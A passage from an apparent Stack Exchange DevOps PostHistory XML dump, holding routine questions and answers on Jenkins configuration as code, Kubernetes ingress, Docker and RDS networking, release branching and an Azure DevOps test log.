you have to write sequential commands for the setup of the servers. That leads to a deeper understanding of your own pipeline - And how it can be improved.&#xD;&#xA;&#xD;&#xA;&gt; 3: what setup can we do to reduce manual work? our problem is not needing approvals but automating as much as we can since we don't have IT/DevOps guy and neither QA.&#xD;&#xA;&#xD;&#xA;Try to embrace the KISS principle - &quot;Keep It Simple, Stupid&quot;. Start small with making a list of the manual tests that you perform on a routinely basis.&#xD;&#xA;&#xD;&#xA;Are these tests related to testing REST endpoints and/or load testing? Then take a look at tools such as JMeter to codify your tests that can be saved as files and triggered in for instance Jenkins (with the Performance plugin). You can load your tests in CSV format and call JMeter from within Jenkins.&#xD;&#xA;&#xD;&#xA;These are just a couple of suggestions (from many possibilities). I hope this inspires you for your CI/CD setup.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27189" PostHistoryTypeId="50" PostId="8936" RevisionGUID="6d0562e7-2f91-4059-8f91-e325308242c9" CreationDate="2019-09-21T15:01:10.420" UserId="-1" />
  <row Id="27191" PostHistoryTypeId="2" PostId="9234" RevisionGUID="1ba032a6-0b17-4005-9471-c6524c83d610" CreationDate="2019-09-21T16:25:31.980" UserId="739" Text="If you can keep one common deployment strategy across both that would be simpler and less effort from the ops side of things.  Kubernetes seems to be a great choice for the cloud side of things at this point in time.  Does Kubernetes make sense on the on-prem side though?  If you're not planning on each on-prem install including 5-10 servers to spread Kubernetes out over then it probably doesn't make sense to use it there.  All hope is not lost.  :)  You could take the same Docker containers that you ran under Kubernetes and run them yourself for on-prem.  You're going to be stuck dealing with service discovery, but if you're only installing on one server that can be solved in some old school way like picking and assigning ports to specific services." ContentLicense="CC BY-SA 4.0" />
  <row Id="27192" PostHistoryTypeId="50" PostId="8943" RevisionGUID="2d5da9ab-8248-4f3b-9a8e-74b91f82e343" CreationDate="2019-09-21T17:02:20.407" UserId="-1" />
  <row Id="27193" PostHistoryTypeId="50" PostId="7945" RevisionGUID="ba6e638e-7418-494e-9d8f-2701bed23e49" CreationDate="2019-09-21T22:01:50.197" UserId="-1" />
  <row Id="27199" PostHistoryTypeId="50" PostId="5061" RevisionGUID="f4faf3aa-a10a-4d77-86da-90ec67dc4213" CreationDate="2019-09-22T06:00:50.100" UserId="-1" />
  <row Id="27200" PostHistoryTypeId="5" PostId="9225" RevisionGUID="cee79569-a815-4f9e-861b-ae94baf9a529" CreationDate="2019-09-22T10:24:16.687" UserId="210" Comment="added 187 characters in body" Text="We are using the Jenkins Configuration As Code (JCAC) plugin to automate the jenkins configuration. One of the challenges is to set `git-lfs` as an additional checkout behavior.&#xD;&#xA;&#xD;&#xA;`GitLFSPull` has to be configured, but it does not seem to be included in the [DSL][1]:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The README of the JCAC github repository indicates that support questions should be asked on [Gitter](https://gitter.im/jenkinsci/configuration-as-code-plugin?at=5d87457c5ab9361694381b5d)&#xD;&#xA;  [1]: https://jenkinsci.github.io/job-dsl-plugin/#path/multibranchPipelineJob&#xD;&#xA;  [2]: https://i.stack.imgur.com/0R118.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27201" PostHistoryTypeId="5" PostId="9229" RevisionGUID="43f70102-d26b-4082-9498-154734701fbf" CreationDate="2019-09-22T10:24:59.213" UserId="210" Comment="added 98 characters in body" Text="Another question that is related to [this one][1]. We try to configure the `shallow clone` using Jenkins Configuration As Code (JCAC). Although a configuration section is [available][2], `shallow clone` seems to be omitted:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/9225/210&#xD;&#xA;  [2]: https://jenkinsci.github.io/job-dsl-plugin/#path/multibranchPipelineJob-configure&#xD;&#xA;  [3]: https://i.stack.imgur.com/q7Nlh.png&#xD;&#xA;&#xD;&#xA;[Gitter](https://gitter.im/jenkinsci/configuration-as-code-plugin?at=5d87457c5ab9361694381b5d)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27202" PostHistoryTypeId="2" PostId="9236" RevisionGUID="6088bf78-e9e9-4c8f-b746-7d10339245b0" CreationDate="2019-09-22T12:35:26.930" UserId="12616" Text="I have a kubernetes cluster in Azure. In this i have three namespaces:&#xD;&#xA;&#xD;&#xA;1. development&#xD;&#xA;2. staging&#xD;&#xA;3. production&#xD;&#xA;&#xD;&#xA;I have installed nginx ingress controller into its own namespace, ingress-nginx. I am kind of new to the ingress part, and I cant seem to find anywhere any advice if I should have a controller pr namespace, or share one controller with all.&#xD;&#xA;&#xD;&#xA;Should I have one that is shared or install one pr. namespace? What is the pattern here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27203" PostHistoryTypeId="1" PostId="9236" RevisionGUID="6088bf78-e9e9-4c8f-b746-7d10339245b0" CreationDate="2019-09-22T12:35:26.930" UserId="12616" Text="Kubernetes nginx ingress controller - one pr. environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27204" PostHistoryTypeId="3" PostId="9236" RevisionGUID="6088bf78-e9e9-4c8f-b746-7d10339245b0" CreationDate="2019-09-22T12:35:26.930" UserId="12616" Text="&lt;kubernetes&gt;&lt;nginx&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27205" PostHistoryTypeId="2" PostId="9237" RevisionGUID="2e2d86a7-1f4a-4475-a202-5a298ae8b05e" CreationDate="2019-09-22T13:58:47.883" UserId="11100" Text="I am running a docker swarm cluster and I was trying to connect to a private RDS instance within the same VPC from a docker container which is running in an EC2 within the same VPC but I get an error like **&quot;unknown host&quot;**. I have enabled the database port number(3306) in RDS security group for my EC2 instances.&#xD;&#xA;&#xD;&#xA;However, I am able to connect to the database from the host level but not from the container level." ContentLicense="CC BY-SA 4.0" />
  <row Id="27206" PostHistoryTypeId="1" PostId="9237" RevisionGUID="2e2d86a7-1f4a-4475-a202-5a298ae8b05e" CreationDate="2019-09-22T13:58:47.883" UserId="11100" Text="Connect to RDS Private Instance from Docker Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="27207" PostHistoryTypeId="3" PostId="9237" RevisionGUID="2e2d86a7-1f4a-4475-a202-5a298ae8b05e" CreationDate="2019-09-22T13:58:47.883" UserId="11100" Text="&lt;docker&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27208" PostHistoryTypeId="50" PostId="8968" RevisionGUID="d881af88-152f-42cf-b24a-8d387161ac0c" CreationDate="2019-09-22T17:00:01.997" UserId="-1" />
  <row Id="27209" PostHistoryTypeId="50" PostId="4640" RevisionGUID="a2a1c4e5-5809-412e-af29-5a291e2a8557" CreationDate="2019-09-22T18:01:40.447" UserId="-1" />
  <row Id="27211" PostHistoryTypeId="2" PostId="9238" RevisionGUID="5b6f160e-15c1-49d1-b999-32eb37a4f137" CreationDate="2019-09-22T19:19:45.617" UserId="210" Text="According to [the Jenkins Job DSL documentation][1] `shallow` has to be enabled:&#xD;&#xA;&#xD;&#xA;    shallow(true)&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkinsci.github.io/job-dsl-plugin/#path/job-scm-git-extensions-cloneOptions-shallow&#xD;&#xA;  [2]: https://i.stack.imgur.com/Gzo24.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27212" PostHistoryTypeId="2" PostId="9239" RevisionGUID="03ffc644-bc27-46e6-8965-4de483ac03a8" CreationDate="2019-09-22T19:25:41.723" UserId="47" Text="You need to separate the 2 concepts a bit:&#xD;&#xA;&#xD;&#xA;- the integration part - how are the changes integrated into your master branch (or some other integration branch, that's also possible), which may be continuous or not. Technically neither approach you describe is actually continuous integration unless your feature branches have **a very short lifespan** - typically less than 1 day. But this part doesn't seem to be the main focus of your post.&#xD;&#xA;&#xD;&#xA;- the delivery/deployment part - how are the **integrated** changes from an integration branch (*master* in your case) being delivered/deployed. In other words your release branch strategy. This appears to be the point of your post, I'll focus on it below.&#xD;&#xA;&#xD;&#xA;Both approaches you describe are valid release branch strategies, I've seen both being used. Each with their own advantages and disadvantages.&#xD;&#xA;&#xD;&#xA;1. This approach is inline with the continuous delivery/deployment strategy. The CI/CD pipeline will have the commits to the master branch (either feature branch merges or point fixes) as entry point: each such commit will trigger the pipeline verification, attempting to progress into it as far as possible. The QA/UAT is one of your pipeline steps, it that passes then it goes into production. Effectively your releases are simply selected (typically tagged) commits from the master branch, they aren't really branches.&#xD;&#xA;&#xD;&#xA;  Advantages:&#xD;&#xA;  - as you noticed - the least amount of branch activities&#xD;&#xA;  - everyone is on the same page - developers, QA, etc all focus on the same branch context&#xD;&#xA;  - lowest cost (but only if the project scale allows it to be effective, see also the disadvantages section)&#xD;&#xA;&#xD;&#xA;  Disadvantages:&#xD;&#xA;  - you can't have actively **maintained** releases - you only have one &quot;current&quot; release out there, each additional fix will become another release. Which isn't necessarily a bad thing, such release model can actually be desired (for example in the case of SaaS products).&#xD;&#xA;  - the release cadence is not actually predictable. It may be difficult to get releases out - if a problem is detected, by the time the fix for it is merged into the master branch some other changes may be merged in and other problems detected. This gets progressively worse as the rate of branch commits goes higher (larger scale projects) and may actually be non-convergent (the project may not reach stability at all). Doing CI/CD at scale is not a trivial matter. &#xD;&#xA;&#xD;&#xA;2. This approach is a more traditional release strategy, but technically it's **not really** continuous delivery/deployment.&#xD;&#xA;&#xD;&#xA;  Advantages:&#xD;&#xA;  - more predictable release cadence. The spinned-off release (aka throttle) branches allow reducing the rate of commits for a particular release. Typically a release branch would only receive fixes necessary for that particular release, fixes for future releases (or release trains) would go into the master branch instead. The reduced commit rate allows reducing the risks of new problems being introduced that would require additional commits, the branch is more stable. Typically the release branches are pulled from the master/integration branch commits that passed all (or most) of the CI/CD pipeline verification stages (for the master branch). In your particular example those branches wouldn't expect subsequent commits (they passed QA/UAT), but if say a problem is detected after deployment in production it would be possible to just commit that particular hotfix into the branch and re-deploy, without having to pick up any other commit that went into master since the branch was pulled, reducing the risk of additional regressions.&#xD;&#xA;  - it supports multiple simultaneous/overlapping actively maintained releases, with potentially complex release policies in place (long-term/short term/rolling/etc, like OpenSUSE's [Lifetime][1] for example)&#xD;&#xA;  - it supports multi-level releases (like `major.minor.increment`, for example) - aka release &quot;trains&quot;: a major release branch could itself have multiple minor release children branches, etc.&#xD;&#xA;  - each release branch could actually use the CI/CD methodology at its own level, independently of the other release branches - if it **never** gets upstream/bulk merges from its parent (i.e. effectively becoming its own &quot;master&quot;)!&#xD;&#xA;&#xD;&#xA;  Disadvantages:&#xD;&#xA;  - everyone is no longer on the same page. Each release branch has its own context which may come with its own policies, processes, tools, necessary resources, etc. Each requires its own development/testing/validation. This drives development/maintenance costs up, often significantly. &#xD;&#xA;  - tracking issues and propagating fixes across multiple releases may not be trivial. Merging back release branches into master (or their parent branches) appears an inviting approach, but IMHO it's a bad practice, see https://devops.stackexchange.com/questions/219/how-to-get-rid-of-develop-branch-for-simplified-git-flow/741#741&#xD;&#xA;  - context switching becomes a major problem &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.opensuse.org/Lifetime" ContentLicense="CC BY-SA 4.0" />
  <row Id="27213" PostHistoryTypeId="5" PostId="9225" RevisionGUID="667f1cf9-2fad-48e6-bfc3-6ca84f3ef5f2" CreationDate="2019-09-22T19:27:00.650" UserId="210" Comment="added 434 characters in body" Text="We are using the Jenkins Configuration As Code (JCAC) plugin to automate the jenkins configuration. One of the challenges is to set `git-lfs` as an additional checkout behavior.&#xD;&#xA;&#xD;&#xA;`GitLFSPull` has to be configured, but it does not seem to be included in the [DSL][1]:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The README of the JCAC github repository indicates that support questions should be asked on [Gitter](https://gitter.im/jenkinsci/configuration-as-code-plugin?at=5d87457c5ab9361694381b5d)&#xD;&#xA;&#xD;&#xA;According to [this Q&amp;A][3], `GitLFSPull` should be an extension:&#xD;&#xA;&#xD;&#xA;    extensions: [[$class: 'GitLFSPull']]&#xD;&#xA;&#xD;&#xA;However, querying for this on [the Job DSL page][4] shows that GitLFSPull seems to be omitted:&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkinsci.github.io/job-dsl-plugin/#path/multibranchPipelineJob&#xD;&#xA;  [2]: https://i.stack.imgur.com/0R118.png&#xD;&#xA;  [3]: https://stackoverflow.com/a/44961242/2777965&#xD;&#xA;  [4]: https://jenkinsci.github.io/job-dsl-plugin/#path/job-scm-git-extensions&#xD;&#xA;  [5]: https://i.stack.imgur.com/dw2gr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27214" PostHistoryTypeId="2" PostId="9240" RevisionGUID="c278b044-098c-4b4f-ba8c-8e1ca84ffb68" CreationDate="2019-09-22T20:50:10.717" UserId="47" Text="Note: the answer is rather speculative, based on docs only, I didn't actually use GitLab pipelines yet.&#xD;&#xA;&#xD;&#xA;You may be able to use the [Pipelines API][1]. More specifically you could [get a pipeline's variables][2]:&#xD;&#xA;&#xD;&#xA;&gt; Get variables of a pipeline&#xD;&#xA;&gt; &#xD;&#xA;&gt;     GET /projects/:id/pipelines/:pipeline_id/variables&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Attribute	Type	        Required	Description&#xD;&#xA;&gt;     id	        integer/string	yes	        The ID or URL-encoded path of the project owned by the authenticated user&#xD;&#xA;&gt;     pipeline_id	integer	        yes	        The ID of a pipeline&#xD;&#xA;&gt; &#xD;&#xA;&gt; Example of response&#xD;&#xA;&gt; &#xD;&#xA;&gt;     [&#xD;&#xA;&gt;       {&#xD;&#xA;&gt;         &quot;key&quot;: &quot;RUN_NIGHTLY_BUILD&quot;,&#xD;&#xA;&gt;         &quot;variable_type&quot;: &quot;env_var&quot;,&#xD;&#xA;&gt;         &quot;value&quot;: &quot;true&quot;&#xD;&#xA;&gt;       },&#xD;&#xA;&gt;       {&#xD;&#xA;&gt;         &quot;key&quot;: &quot;foo&quot;,&#xD;&#xA;&gt;         &quot;value&quot;: &quot;bar&quot;&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     ]&#xD;&#xA;&#xD;&#xA;I'm suspecting that in the response you'd find the variables shown in a [pipeline creation][3] response example, which include these which could be of interest to you:&#xD;&#xA;&#xD;&#xA;&gt;       &quot;id&quot;: 61,&#xD;&#xA;&gt;       &quot;sha&quot;: &quot;384c444e840a515b23f21915ee5766b87068a70d&quot;,&#xD;&#xA;&#xD;&#xA;&gt;       &quot;before_sha&quot;: &quot;0000000000000000000000000000000000000000&quot;,&#xD;&#xA;&#xD;&#xA;I'm uncertain if the `before_sha` for the current pipeline is what you're looking for, if not you'd just get the `sha` for the previous pipeline ID, which you could derive from the current pipeline ID (via the `CI_PIPELINE_ID` environment variable, see [Predefined environment variables][4]). I'm assuming that the pipeline IDs are consecutive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/api/pipelines.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/api/pipelines.html#get-variables-of-a-pipeline&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/api/pipelines.html#create-a-new-pipeline&#xD;&#xA;  [4]: https://docs.gitlab.com/ee/ci/variables/README.html#predefined-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="27217" PostHistoryTypeId="2" PostId="9241" RevisionGUID="3535b3eb-be63-47e1-8b33-056f76212db5" CreationDate="2019-09-23T07:36:33.447" UserId="17218" Text="Hello DevOps community,&#xD;&#xA;&#xD;&#xA;as I am both posting for the first time and also only getting started with ansible, please be patient with me ;)&#xD;&#xA;&#xD;&#xA;I want to set up a new development infrastructure with the infrastructure as code principle. First thing I'll have to prove is a Jenkins instance with a few nodes for a Java dev team.&#xD;&#xA;&#xD;&#xA;I want to do it correct right from the start, so I want to include some redundancy.&#xD;&#xA;Let's assume that in this scenario there are 3 sites with bare metal servers. &#xD;&#xA;I want to set up a Jenkins master in all 3 zones which form a cluster.&#xD;&#xA;&#xD;&#xA;But I don't want to think about that myself. I just want to provide the info to ansbile what server is in which availability zone, and ansible should make sure to set up a Jenkins master in each availability zone and connecting it to the cluster. &#xD;&#xA;&#xD;&#xA;Maybe this is already out-of-scope for ansible and I need another tool on top of ansible?&#xD;&#xA;&#xD;&#xA;I really appreciate you thoughts :)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27218" PostHistoryTypeId="1" PostId="9241" RevisionGUID="3535b3eb-be63-47e1-8b33-056f76212db5" CreationDate="2019-09-23T07:36:33.447" UserId="17218" Text="How to handle availability zones and failover with ansible? Is it even within the scope of ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27219" PostHistoryTypeId="3" PostId="9241" RevisionGUID="3535b3eb-be63-47e1-8b33-056f76212db5" CreationDate="2019-09-23T07:36:33.447" UserId="17218" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27220" PostHistoryTypeId="2" PostId="9242" RevisionGUID="b9a09ef4-6bb9-48da-b392-6d1890fe7379" CreationDate="2019-09-23T08:00:11.537" UserId="15538" Text="You can use Build Periodically functionality under Build Triggers in Jenkins FreeStyle Job. (1)&#xD;&#xA;&#xD;&#xA;At the Bottom of the Job Configuration, there is also a BUILD Menu with &quot;Add Build Step&quot; and you can execute shell. (2)&#xD;&#xA;&#xD;&#xA;There is a POST BUILD Menu which you can use to send notifications once the build is done. (3)&#xD;&#xA;&#xD;&#xA;Depending on how you want things done, you can have the whole script in (2) instead of splitting it into (2) and (3). &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/47758319/build-triggers-in-jenkins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DdCN6.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27221" PostHistoryTypeId="2" PostId="9243" RevisionGUID="2447dcb9-cc99-4123-a85e-00731b9450d6" CreationDate="2019-09-23T08:09:34.023" UserId="17219" Text="**Background:**&#xD;&#xA;The nature of our project's source involves multiple long-living branches, each one has its own Jenkins job (manually created).&#xD;&#xA;&#xD;&#xA;**Multibranch limitation:**&#xD;&#xA;Unfortunately we do not use a Multibranch Pipeline to organize the project, because when (for example) a change is needed in the Pipeline, it would need to be added (manually) to each of the long-living branches.&#xD;&#xA;&#xD;&#xA;**Current implementation:**&#xD;&#xA;We store the Jenkinsfile in a separate repository (let's call it *ci-repo*), which is added as a submodule to the project's repository (let's call that *dev-repo*).&#xD;&#xA;&#xD;&#xA;**What still hurts:**&#xD;&#xA;I need to manually monitor branches of the *dev-repo* and manage job creation.&#xD;&#xA;Multibranch pipelines support submodule checkout for source files, but branch discovery requires presence of a Jenkinsfile under the parent repository (in our case *dev-repo*).&#xD;&#xA;&#xD;&#xA;**The question:**&#xD;&#xA;Jenkinsfile from git-submodule of Multibranch Pipeline - Is there a way to do this?&#xD;&#xA;Perhaps using an initial/mock Jenkinsfile in the *dev-repo*, with one stage in which is calls the Jenkinsfile from the submodule?&#xD;&#xA;Can a Jenkinsfile be over-written or replaced somehow during runtime?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27222" PostHistoryTypeId="1" PostId="9243" RevisionGUID="2447dcb9-cc99-4123-a85e-00731b9450d6" CreationDate="2019-09-23T08:09:34.023" UserId="17219" Text="Is there a way to use a Jenkinsfile from a git-submodule in a multibranch pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27223" PostHistoryTypeId="3" PostId="9243" RevisionGUID="2447dcb9-cc99-4123-a85e-00731b9450d6" CreationDate="2019-09-23T08:09:34.023" UserId="17219" Text="&lt;jenkins-pipeline&gt;&lt;git&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27224" PostHistoryTypeId="5" PostId="9243" RevisionGUID="1815fb25-599e-46f5-b9d8-e8f89e9d4bd8" CreationDate="2019-09-23T08:29:43.557" UserId="17219" Comment="minor formatting improvement" Text="**Background:**&#xD;&#xA;The nature of our project's source involves multiple long-living branches, each one has its own Jenkins job (manually created).&#xD;&#xA;&#xD;&#xA;**Multibranch limitation:**&#xD;&#xA;Unfortunately we do not use a Multibranch Pipeline to organize the project, because when (for example) a change is needed in the Pipeline, it would need to be added (manually) to each of the long-living branches' Jenkinsfiles.&#xD;&#xA;&#xD;&#xA;**Current implementation:**&#xD;&#xA;We store the Jenkinsfile in a separate repository (let's call it *ci-repo*), which is added as a submodule to the project's repository (let's call that *dev-repo*).&#xD;&#xA;&#xD;&#xA;**What still hurts:**&#xD;&#xA;We need to manually monitor branches of the *dev-repo* and manage job creation.&#xD;&#xA;Multibranch pipelines support submodule checkout for source files, but branch discovery requires presence of a Jenkinsfile under the parent repository (in our case *dev-repo*).&#xD;&#xA;&#xD;&#xA;**The question:**&#xD;&#xA;Jenkinsfile from git-submodule of Multibranch Pipeline - Is there a way to do this?&#xD;&#xA;Perhaps using an initial/mock Jenkinsfile in the *dev-repo*, with one stage in which is calls the Jenkinsfile from the submodule?&#xD;&#xA;Can a Jenkinsfile be over-written or replaced somehow during runtime?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27225" PostHistoryTypeId="50" PostId="4161" RevisionGUID="d6a709ae-69f5-452e-bd9e-fb446ea36ed5" CreationDate="2019-09-23T09:02:30.473" UserId="-1" />
  <row Id="27226" PostHistoryTypeId="2" PostId="9244" RevisionGUID="2c16fd1e-a544-402e-9ad1-67041f9420f1" CreationDate="2019-09-23T09:22:58.543" UserId="17225" Text="I believe you are heading in the wrong direction.&#xD;&#xA;The way to implement what you want is to separate the &quot;devops infrastructure logic&quot; (placed in the 'ci-repo') from the pipeline trigger - a jenkinsfile inside the dev-repo, which includes the &quot;devops infrastructure logic&quot; as a tagged artifact.&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA; - You have a central place to develop (and test) devops code&#xD;&#xA; - When changes are backward compatible, you can update all pipelines by moving the tag&#xD;&#xA; - When changes are NOT backward compatible, repos &amp; specific branches can gradually move to a new tag&#xD;&#xA; - There is room for specific repos &amp; branches to create their unique process if they have to&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;- Yes, sometimes people will need to update Jenkinsfiles in multiple places as they are accepting a new version. I actually think it's good.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27230" PostHistoryTypeId="2" PostId="9246" RevisionGUID="d9acdba6-f688-4a53-9692-a501a3c0614e" CreationDate="2019-09-23T09:40:53.067" UserId="17227" Text="In an [Azure DevOps Server][1] build system installed on premises, I have a Build Pipeline with a [Visual Studio Test step][2]. The step is configured to discover and run [XUnit][3] unit tests in a DLL.&#xD;&#xA;&#xD;&#xA;The step runs and passes successfully, identifying 18 tests. However, it's taking an unreasonable time to do so.&#xD;&#xA;&#xD;&#xA;The run logs show that it's spending about 40 seconds right before launching `vstest.console.exe`, seemingly doing nothing. Please see below the lines showing `=============` at `2019-09-23T07:11:35.7961563Z`.&#xD;&#xA;&#xD;&#xA;Why does the Visual Studio Test step spend so much time idling? What can I do to make it waste less time?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2019-09-23T07:11:32.4121152Z ##[section]Starting: run unit tests&#xD;&#xA;2019-09-23T07:11:32.4135871Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:32.4136477Z Task         : Visual Studio Test&#xD;&#xA;2019-09-23T07:11:32.4136755Z Description  : Run unit and functional tests (Selenium, Appium, Coded UI test, etc.) using the Visual Studio Test (VsTest) runner. Test frameworks that have a Visual Studio test adapter such as MsTest, xUnit, NUnit, Chutzpah (for JavaScript tests using QUnit, Mocha and Jasmine), etc. can be run. Tests can be distributed on multiple agents using this task (version 2).&#xD;&#xA;2019-09-23T07:11:32.4137066Z Version      : 2.143.8&#xD;&#xA;2019-09-23T07:11:32.4137295Z Author       : Microsoft Corporation&#xD;&#xA;2019-09-23T07:11:32.4137526Z Help         : [More information](https://go.microsoft.com/fwlink/?LinkId=835764)&#xD;&#xA;2019-09-23T07:11:32.4138042Z ==============================================================================&#xD;&#xA;2019-09-23T07:11:35.0894195Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.0937440Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.2406351Z Running tests using vstest.console.exe runner.&#xD;&#xA;2019-09-23T07:11:35.2407337Z ======================================================&#xD;&#xA;2019-09-23T07:11:35.2408408Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.2409125Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.2409694Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.2412135Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.2758339Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.2810059Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.2813902Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.2831140Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.2883526Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.2884892Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.2937817Z SystemVssConnection exists true&#xD;&#xA;2019-09-23T07:11:35.3039161Z Run the tests locally using vstest.console.exe&#xD;&#xA;2019-09-23T07:11:35.3040102Z ========================================================&#xD;&#xA;2019-09-23T07:11:35.3075806Z Test selector : Test assemblies&#xD;&#xA;2019-09-23T07:11:35.3094635Z Test assemblies : **\*test*.dll,!**\*TestAdapter.dll,!**\obj\**&#xD;&#xA;2019-09-23T07:11:35.3095999Z Test filter criteria : null&#xD;&#xA;2019-09-23T07:11:35.3114780Z Search folder : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3125782Z Run settings file : C:\pool\_work\238\s&#xD;&#xA;2019-09-23T07:11:35.3144368Z Run in parallel : false&#xD;&#xA;2019-09-23T07:11:35.3158394Z Run in isolation : false&#xD;&#xA;2019-09-23T07:11:35.3243577Z Path to custom adapters : null&#xD;&#xA;2019-09-23T07:11:35.3244967Z Other console options : null&#xD;&#xA;2019-09-23T07:11:35.3269743Z Code coverage enabled : false&#xD;&#xA;2019-09-23T07:11:35.3273300Z Diagnostics enabled : false&#xD;&#xA;2019-09-23T07:11:35.3286973Z Rerun failed tests: false&#xD;&#xA;2019-09-23T07:11:35.3308152Z VisualStudio version selected for test execution : latest&#xD;&#xA;2019-09-23T07:11:35.7961563Z ========================================================&#xD;&#xA;2019-09-23T07:11:50.3641983Z ======================================================&#xD;&#xA;2019-09-23T07:12:16.2956956Z [command]&quot;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TestWindow\vstest.console.exe&quot; @C:\pool\_work\_temp\60ff2cb1-ddd1-11e9-a3ed-db0a48eb3ef5.txt&#xD;&#xA;2019-09-23T07:12:16.9940929Z Microsoft (R) Test Execution Command Line Tool Version 15.9.0&#xD;&#xA;2019-09-23T07:12:16.9941829Z Copyright (c) Microsoft Corporation.  All rights reserved.&#xD;&#xA;2019-09-23T07:12:16.9942101Z &#xD;&#xA;2019-09-23T07:12:16.9942399Z vstest.console.exe &#xD;&#xA;2019-09-23T07:12:16.9942679Z &quot;C:\pool\_work\238\s\REDACTED\bin\Release\REDACTED.Tests.dll&quot;&#xD;&#xA;2019-09-23T07:12:16.9942954Z /logger:&quot;trx&quot;&#xD;&#xA;2019-09-23T07:12:16.9943238Z /TestAdapterPath:&quot;C:\pool\_work\238\s&quot;&#xD;&#xA;2019-09-23T07:12:17.6998070Z Starting test execution, please wait...&#xD;&#xA;2019-09-23T07:12:20.5147395Z [xUnit.net 00:00:00.6296658]   Discovering: REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6880418Z [xUnit.net 00:00:00.8113825]   Discovered:  REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:20.6955571Z [xUnit.net 00:00:00.8192449]   Starting:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:21.9022641Z Passed   REDACTED 1&#xD;&#xA;2019-09-23T07:12:21.9024375Z Passed   REDACTED 2&#xD;&#xA;2019-09-23T07:12:21.9024811Z Passed   REDACTED 3&#xD;&#xA;2019-09-23T07:12:21.9025086Z Passed   REDACTED 4&#xD;&#xA;2019-09-23T07:12:21.9025460Z Passed   REDACTED 5&#xD;&#xA;2019-09-23T07:12:21.9026429Z Passed   REDACTED 6&#xD;&#xA;2019-09-23T07:12:21.9027211Z Passed   REDACTED 7&#xD;&#xA;2019-09-23T07:12:21.9027581Z Passed   REDACTED 8&#xD;&#xA;2019-09-23T07:12:21.9027938Z Passed   REDACTED 9&#xD;&#xA;2019-09-23T07:12:21.9028266Z [xUnit.net 00:00:01.9910390]   Finished:    REDACTED.Tests&#xD;&#xA;2019-09-23T07:12:22.3918748Z Passed   REDACTED 10&#xD;&#xA;2019-09-23T07:12:22.3920336Z Passed   REDACTED 11&#xD;&#xA;2019-09-23T07:12:22.3920912Z Passed   REDACTED 12&#xD;&#xA;2019-09-23T07:12:22.3922185Z Passed   REDACTED 13&#xD;&#xA;2019-09-23T07:12:22.3923090Z Passed   REDACTED 14&#xD;&#xA;2019-09-23T07:12:22.3925098Z Passed   REDACTED 15&#xD;&#xA;2019-09-23T07:12:22.3926473Z Passed   REDACTED 16&#xD;&#xA;2019-09-23T07:12:22.3928334Z Passed   REDACTED 17&#xD;&#xA;2019-09-23T07:12:22.3930288Z Passed   REDACTED 